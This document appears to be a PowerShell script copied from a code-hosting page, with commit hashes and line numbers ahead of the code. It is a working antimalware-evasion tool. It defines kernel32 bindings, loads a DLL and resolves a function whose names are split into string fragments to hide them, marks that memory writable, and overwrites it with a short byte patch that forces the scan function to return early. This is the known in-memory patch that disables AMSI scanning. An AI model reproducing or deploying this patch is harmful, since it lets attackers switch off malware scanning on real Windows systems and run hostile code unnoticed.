File size: 1,165 Bytes
7ec0752
64ee7ec
 
 
bb44f02
64ee7ec
 
 
bb44f02
64ee7ec
 
bb44f02
64ee7ec
 
bb44f02
64ee7ec
 
bb44f02
64ee7ec
 
 
 
da81228
 
 
 
 
7ec0752
da81228
 
7ec0752
da81228
7ec0752
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$count
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32")]
    public static extern IntPtr GetCurrentProcess();
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary($a + "i.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, ($a + $b + $c + $d))
$oldProtect = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect)
$oldProtect
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$bytesWritten = 0
$hProcess = [Win32]::GetCurrentProcess()
[void][Win32]::WriteProcessMemory($hProcess, $Address, $Patch, $Patch.Length, [ref]$bytesWritten)
$bytesWritten